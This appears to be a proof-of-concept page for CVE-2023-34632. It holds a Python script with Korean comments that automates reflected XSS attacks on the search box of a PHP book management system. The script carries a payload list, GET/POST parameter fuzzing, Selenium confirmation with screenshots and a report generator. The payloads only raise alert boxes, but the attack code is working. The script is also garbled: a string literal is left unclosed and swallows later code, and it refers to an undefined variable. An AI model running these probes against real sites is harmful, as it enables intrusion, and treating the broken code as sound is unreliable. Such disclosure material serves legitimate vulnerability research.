4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_CVE-2023-34632.py PY
#!/usr/bin/env python3
"""
CVE-2023-34632 PoC Auto-Tester
1000projects Book Management System 1.0 - Reflected XSS via Search Box
"""

import argparse
import json
import os
import sys
import time
import urllib.parse
from datetime import datetime

try:
    import requests
except ImportError:
    print("[!] requests 모듈이 필요합니다: pip install requests")
    sys.exit(1)

try:
    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from selenium.webdriver.chrome.service import Service
    from selenium.webdriver.common.by import By
    from selenium.webdriver.common.keys import Keys
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from selenium.common.exceptions import (
        TimeoutException, UnexpectedAlertPresentException,
        NoAlertPresentException, NoSuchElementException
    )
    SELENIUM_AVAILABLE = True
except ImportError:
    SELENIUM_AVAILABLE = False
    print("[!] selenium 모듈이 없습니다. 수동 테스트 모드로 전환합니다.")
    print("    설치: pip install selenium webdriver-manager")


# ============================================================
# XSS 페이로드 목록
# ============================================================
XSS_PAYLOADS = [
    # 기본 script 태그
    {
        "name": "Basic script alert",
        "payload": '"><script>alert("CVE-2023-34632")</script>',
        "detect": "alert"
    },
    # img onerror
    {
        "name": "IMG onerror",
        "payload": '"><img src=x onerror=alert("CVE-2023-34632")>',
        "detect": "alert"
    },
    # svg onload
    {
        "name": "SVG onload",
        "payload": '"><svg/onload=alert("CVE-2023-34632")>',
        "detect": "alert"
    },
    # 작은따옴표 탈출
    {
        "name": "Single quote escape",
        "payload": "'-alert('CVE-2023-34632')-'",
        "detect": "alert"
    },
    # event handler
    {
        "name": "Body onload",
        "payload": '"><body onload=alert("CVE-2023-34632")>',
        "detect": "alert"
    },
    # input autofocus onfocus
    {
        "name": "Input autofocus",
        "payload": '"><input autofocus onfocus=alert("CVE-2023-34632")>',
        "detect": "alert"
    },
    # marquee (일부 브라우저)
    {
        "name": "Details tag",
        "payload": '"><details open ontoggle=alert("CVE-2023-34632")>',
        "detect": "alert"
    },
]

# 검색 기능이 있을 수 있는 경로들
SEARCH_PATHS = [
    "/",
    "/index.php",
    "/book_list.php",
    "/search.php",
    "/books.php",
    "/admin/",
    "/admin/index.php",
    "/admin/book_list.php",
]

# 검색 파라미터 후보
SEARCH_PARAMS = ["search", "q", "query", "keyword", "s", "book", "name", "title"]


class Colors:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    BOLD = "\033[1m"
    END = "\033[0m"


def banner():
    print(f"""
{Colors.CYAN}{Colors.BOLD}
╔══════════════════════════════════════════════════╗
║   CVE-2023-34632 PoC Auto-Tester                ║
║   1000projects Book Management System 1.0       ║
║   Reflected XSS via Search Box                  ║
║                                                  ║
║   Discoverer: Wonkyeom Kim                      ║
╚══════════════════════════════════════════════════╝
{Colors.END}""")


def log_info(msg):
    print(f"  {Colors.BLUE}[*]{Colors.END} {msg}")


def log_success(msg):
    print(f"  {Colors.GREEN}[+]{Colors.END} {msg}")


def log_warning(msg):
    print(f"  {Colors.YELLOW}[!]{Colors.END} {msg}")


def log_fail(msg):
    print(f"  {Colors.RED}[-]{Colors.END} {msg}")


def log_vuln(msg):
    print(f"  {Colors.RED}{Colors.BOLD}[VULN]{Colors.END} {Colors.RED}{msg}{Colors.END}")


def test_reflected_http(base_url):
    """HTTP 응답에서 페이로드가 그대로 반사되는지 확인"""
    print(f"\n{Colors.BOLD}[Phase 1] HTTP 반사 테스트{Colors.END}")
    print("=" * 50)

    results = []
    marker = 'CVE2023TEST' + str(int(time.time()) % 10000)

    # 1. 접속 가능 여부 확인
    log_info(f"대상 URL 접속 확인: {base_url}")
    try:
        r = requests.get(base_url, timeout=10, allow_redirects=True)
        log_success(f"접속 성공 (HTTP {r.status_code})")
    except Exception as e:
        log_fail(f"접속 실패: {e}")
        log_warning("XAMPP/WAMP가 실행 중인지, 경로가 맞는지 확인하세요.")
        return results

    # 2. 검색 폼 자동 탐색
    log_info("검색 기능 탐색 중...")
    found_search = []

    for path in SEARCH_PATHS:
        url = base_url.rstrip("/") + path
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200:
                html_lower = r.text.lower()
                # 검색 폼이 있는지 확인
                if any(kw in html_lower for kw in ['type="search"', 'name="search"',
                                                      'id="search"', 'placeholder="search',
                                                      'action="search', 'name="q"',
                                                      'name="query"', 'name="keyword"',
                                                      '검색', 'search']):
                    found_search.append(path)
                    log_success(f"검색 폼 발견: {path}")
        except:
            pass

    if not found_search:
        log_warning("자동 탐색으로 검색 폼을 찾지 못했습니다.")
        log_info("모든 경로 + 파라미터 조합을 테스트합니다...")
        found_search = SEARCH_PATHS

    # 3. 반사 테스트
    log_info("XSS 반사 테스트 시작...")
    vuln_count = 0

    for path in found_search:
        for param in SEARCH_PARAMS:
            test_url = base_url.rstrip("/") + path
            test_payload = f'"{marker}<>'

            # GET 파라미터
            try:
                r = requests.get(test_url, params={param: test_payload}, timeout=5)
                if marker in r.text and '<>' in r.text:
                    log_vuln(f"반사 확인! GET {path}?{param}= → HTML 태그 필터링 없음")

                    # 실제 XSS 페이로드 테스트
                    for xss in XSS_PAYLOADS:
                        r2 = requests.get(test_url, params={param: xss["payload"]}, timeout=5)
                        if xss["payload"] in r2.text or 'alert(' in r2.text:
                            log_vuln(f"  XSS 성공: [{xss['name']}]")
                            full_url = f"{test_url}?{param}={urllib.parse.quote(xss['payload'])}"
                            results.append({
                                "method": "GET",
                                "path": path,
                                "param": param,
                                "payload_name": xss["name"],
                                "payload": xss["payload"],
                                "full_url": full_url,
                                "reflected": True,
                                "response_snippet": r2.text[
                                    max(0, r2.text.find(xss["payload"][:20]) - 50):
                                    r2.text.find(xss["payload"][:20]) + len(xss["payload"]) + 50
                                ] if xss["payload"][:20] in r2.text else ""
                            })
                            vuln_count += 1
            except:
                pass

            # POST 파라미터
            try:
                r = requests.post(test_url, data={param: test_payload}, timeout=5)
                if marker in r.text and '<>' in r.text:
                    log_vuln(f"반사 확인! POST {path} [{param}] → HTML 태그 필터링 없음")

                    for xss in XSS_PAYLOADS:
                        r2 = requests.post(test_url, data={param: xss["payload"]}, timeout=5)
                        if xss["payload"] in r2.text or 'alert(' in r2.text:
                            log_vuln(f"  XSS 성공: [{xss['name']}]")
                            results.append({
                                "method": "POST",
                                "path": path,
                                "param": param,
                                "payload_name": xss["name"],
                                "payload": xss["payload"],
                                "full_url": test_url,
                                "reflected": True,
                            })
                            vuln_count += 1
            except:
                pass

    if vuln_count > 0:
        log_success(f"\n총 {vuln_count}개 XSS 벡터 발견!")
    else:
        log_warning("HTTP 반사 테스트에서 직접적인 XSS를 찾지 못했습니다.")
        log_info("Phase 2(브라우저 테스트)에서 추가 확인합니다.")

    return results


# ============================================================
# Phase 2: Selenium 브라우저 기반 테스트 (alert 확인 + 스크린샷)
# ============================================================
def test_browser_xss(base_url, results, output_dir):
    """Selenium으로 실제 브라우저에서 XSS 트리거 + 스크린샷"""
    if not SELENIUM_AVAILABLE:
        log_warning("Selenium이 설치되지 않아 브라우저 테스트를 건너뜁니다.")
        return results

    print(f"\n{Colors.BOLD}[Phase 2] 브라우저 XSS 테스트 + 스크린샷{Colors.END}")
    print("=" * 50)

    # Chrome 설정
    chrome_options = Options()
    # chrome_options.add_argument("--headless")  # 스크린샷용이므로 headless 비활성화
    chrome_options.add_argument("--no-sandbox")
    chrome_options.add_argument("--disable-dev-shm-usage")
    chrome_options.add_argument("--window-size=1366,768")
    chrome_options.add_argument("--disable-web-security")

    try:
        # webdriver-manager 사용 시도
        try:
            from webdriver_manager.chrome import ChromeDriverManager
            service = Service(ChromeDriverManager().install())
            driver = webdriver.Chrome(service=service, options=chrome_options)
        except ImportError:
            driver = webdriver.Chrome(options=chrome_options)
        
        log_success("Chrome 브라우저 시작됨")
    except Exception as e:
        log_fail(f"Chrome 시작 실패: {e}")
        log_info("ChromeDriver가 설치되어 있는지 확인하세요.")
        log_info("설치: pip install webdriver-manager")
        return results

    screenshot_count = 0

    # Phase 1에서 찾은 벡터 재검증
    if results:
        log_info(f"Phase 1에서 발견된 {len(results)}개 벡터 브라우저 검증...")
        for i, res in enumerate(results):
            if res["method"] == "GET":
                try:
                    driver.get(res["full_url"])
                    time.sleep(1)

                    # alert 확인
                    try:
                        alert = driver.switch_to.alert
                        alert_text = alert.text
                        log_vuln(f"ALERT 팝업 확인! → '{alert_text}'")

                        # alert 뜬 상태로 스크린샷
                        ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_alert.png")
                        driver.save_screenshot(ss_path)
                        log_success(f"스크린샷 저장: {ss_path}")
                        screenshot_count += 1

                        results[i]["alert_triggered"] = True
                        results[i]["alert_text"] = alert_text
                        results[i]["screenshot"] = ss_path

                        alert.accept()
                        time.sleep(0.5)

                    except NoAlertPresentException:
                        # alert 없지만 DOM에 주입됐을 수 있음
                        ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_reflected.png")
                        driver.save_screenshot(ss_path)
                        results[i]["alert_triggered"] = False
                        results[i]["screenshot"] = ss_path
                        screenshot_count += 1

                except UnexpectedAlertPresentException:
                    # alert가 페이지 로드 중에 바로 뜸
                    ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_immediate.png")
                    driver.save_screenshot(ss_path)
                    log_vuln(f"즉시 ALERT 트리거! 스크린샷: {ss_path}")
                    screenshot_count += 1

                    results[i]["alert_triggered"] = True
                    results[i]["screenshot"] = ss_path

                    try:
                        driver.switch_to.alert.accept()
                    except:
                        pass

                except Exception as e:
                    log_warning(f"테스트 중 오류: {e}")

    # Phase 1에서 못 찾았으면 브라우저로 폼 직접 탐색
    if not results:
        log_info("폼 직접 탐색 시작...")
        for path in SEARCH_PATHS:
            url = base_url.rstrip("/") + path
            try:
                driver.get(url)
                time.sleep(1)

                # 검색 input 필드 탐색
                search_inputs = []
                for selector in [
                    'input[type="search"]',
                    'input[name="search"]',
                    'input[name="q"]',
                    'input[name="query"]',
                    'input[name="keyword"]',
                    'input[placeholder*="search" i]',
                    'input[placeholder*="Search" i]',
                    'input[placeholder*="검색"]',
                ]:
                    try:
                        elements = driver.find_elements(By.CSS_SELECTOR, selector)
                        search_inputs.extend(elements)
                    except:
                        pass

                # 일반 text input도 시도
                if not search_inputs:
                    try:
                        search_inputs = driver.find_elements(By.CSS_SELECTOR, 'input[type="text"]')
                    except:
                        pass

                for inp in search_inputs:
                    try:
                        inp.clear()
                        payload = '"><script>alert("CVE-2023-34632")</script>'
                        inp.send_keys(payload)
                        inp.send_keys(Keys.RETURN)
                        time.sleep(2)

                        try:
                            alert = driver.switch_to.alert
                            alert_text = alert.text
                            log_vuln(f"XSS ALERT 발견! 경로: {path}, 텍스트: '{alert_text}'")

                            ss_path = os.path.join(output_dir, f"poc_browser_xss_{screenshot_count+1}.png")
                            driver.save_screenshot(ss_path)
                            log_success(f"스크린샷: {ss_path}")
                            screenshot_count += 1

                            results.append({
                                "method": "BROWSER",
                                "path": path,
                                "payload": payload,
                                "payload_name": "Basic script alert",
                                "alert_triggered": True,
                                "alert_text": alert_text,
                                "screenshot": ss_path,
                            })

                            alert.accept()
                        except NoAlertPresentException:
                            pass

                    except Exception as e:
                        pass

            except Exception as e:
                pass

    # 정리 스크린샷: 메인 페이지
    try:
        driver.get(base_url)
        time.sleep(1)
        ss_path = os.path.join(output_dir, "poc_main_page.png")
        driver.save_screenshot(ss_path)
        log_info(f"메인 페이지 스크린샷: {ss_path}")
    except:
        pass

    driver.quit()
    log_info(f"총 {screenshot_count}개 스크린샷 캡처됨")

    return results


# ============================================================
# Phase 3: PoC 리포트 생성
# ============================================================
def generate_report(base_url, results, output_dir):
    """GitHub에 올릴 수 있는 README.md와 JSON 리포트 생성"""
    print(f"\n{Colors.BOLD}[Phase 3] PoC 리포트 생성{Colors.END}")
    print("=" * 50)

    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    # JSON 리포트
    report_json = {
        "cve_id": "CVE-2023-34632",
        "product": "1000projects Book Management System 1.0",
        "vulnerability_type": "Reflected Cross-Site Scripting (XSS)",
        "cwe": "CWE-79",
        "cvss_v3": "6.1 (Medium) - AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
        "discoverer": "Wonkyeom Kim",
        "test_date": timestamp,
        "target_url": base_url,
        "findings": results,
        "total_vectors": len(results),
    }

    json_path = os.path.join(output_dir, "poc_report.json")
    with open(json_path, "w", encoding="utf-8") as f:
        json.dump(report_json, f, indent=2, ensure_ascii=False)
    log_success(f"JSON 리포트: {json_path}")

    # README.md (GitHub용)
    readme = f"""# CVE-2023-34632

## Reflected Cross-Site Scripting (XSS) in 1000projects Book Management System 1.0

### Description

A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in 1000projects Book Management System version 1.0. The vulnerability exists in the search functionality, where user-supplied input is reflected in the response without proper sanitization or output encoding.

An attacker can craft a malicious URL containing JavaScript code. When a victim clicks the link, the script executes in the context of the victim's browser session, potentially leading to session hijacking, credential theft, or phishing attacks.

### Affected Product

| Item | Detail |
|------|--------|
| **Vendor** | [1000projects](https://1000projects.org/) |
| **Product** | Book Management System |
| **Version** | 1.0 |
| **Technology** | PHP / MySQL |

### Vulnerability Details

| Item | Detail |
|------|--------|
| **Type** | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | Required (victim clicks crafted URL) |
| **CVSS 3.1 Score** | 6.1 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |

### Proof of Concept

**Test Date:** {timestamp}

"""

    if results:
        readme += f"**{len(results)} XSS vector(s) confirmed:**\n\n"
        for i, res in enumerate(results):
            readme += f"#### Vector {i+1}: {res.get('payload_name', 'Unknown')}\n\n"
            readme += f"- **Method:** {res.get('method', 'N/A')}\n"
            readme += f"- **Path:** `{res.get('path', 'N/A')}`\n"
            if res.get("param"):
                readme += f"- **Parameter:** `{res['param']}`\n"
            readme += f"- **Payload:** `{res.get('payload', 'N/A')}`\n"
            if res.get("full_url"):
                readme += f"- **Full URL:** `{res['full_url']}`\n"
            if res.get("alert_triggered"):
                readme += f"- **Alert Triggered:** ✅ Yes (`{res.get('alert_text', '')}`)\n"
            if res.get("screenshot"):
                ss_name = os.path.basename(res["screenshot"])
                readme += f"- **Screenshot:** ![PoC]({ss_name})\n"
            readme += "\n"
    else:
        readme += """**Manual Reproduction Steps:**

"""

    readme += """### Root Cause

The search parameter is directly embedded into the HTML response without sanitization. The PHP code does not use `htmlspecialchars()` or equivalent output encoding before rendering user input.

**Vulnerable Code Pattern:**

    readme_path = os.path.join(output_dir, "README.md")
    with open(readme_path, "w", encoding="utf-8") as f:
        f.write(readme)
    log_success(f"GitHub README.md: {readme_path}")


    mitre_path = os.path.join(output_dir, "MITRE_notification_email.txt")
    with open(mitre_path, "w", encoding="utf-8") as f:
        f.write(mitre_email)
    log_success(f"MITRE 통보 메일: {mitre_path}")

    return readme_path, json_path, mitre_path


# ============================================================
# Main
# ============================================================
def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2023-34632 PoC Auto-Tester")
    parser.add_argument("--url", "-u", default="http://localhost/book-management/",
                        help="대상 URL (기본: http://localhost/book-management/)")
    parser.add_argument("--output", "-o", default="./CVE-2023-34632_PoC",
                        help="결과 저장 디렉토리 (기본: ./CVE-2023-34632_PoC)")
    parser.add_argument("--no-browser", action="store_true",
                        help="브라우저 테스트 건너뛰기 (HTTP만 테스트)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/") + "/"
    output_dir = args.output

    os.makedirs(output_dir, exist_ok=True)

    log_info(f"대상: {base_url}")
    log_info(f"결과 저장: {output_dir}")

    # Phase 1: HTTP 반사 테스트
    results = test_reflected_http(base_url)

    # Phase 2: 브라우저 테스트
    if not args.no_browser and SELENIUM_AVAILABLE:
        results = test_browser_xss(base_url, results, output_dir)
    elif not SELENIUM_AVAILABLE:
        log_warning("Selenium 미설치 → 브라우저 테스트 건너뜀")
        log_info("설치 후 재실행: pip install selenium webdriver-manager")

    # Phase 3: 리포트 생성
    readme_path, json_path, mitre_path = generate_report(base_url, results, output_dir)

    # 최종 요약
    print(f"\n{'=' * 50}")
    print(f"{Colors.BOLD}[최종 요약]{Colors.END}")
    print(f"{'=' * 50}")

    if results:
        print(f"  {Colors.GREEN}✅ {len(results)}개 XSS 벡터 확인됨{Colors.END}")
    else:
        print(f"  {Colors.YELLOW}⚠️  자동 탐지 실패 — 수동 확인 필요{Colors.END}")

 
""")


if __name__ == "__main__":
    main()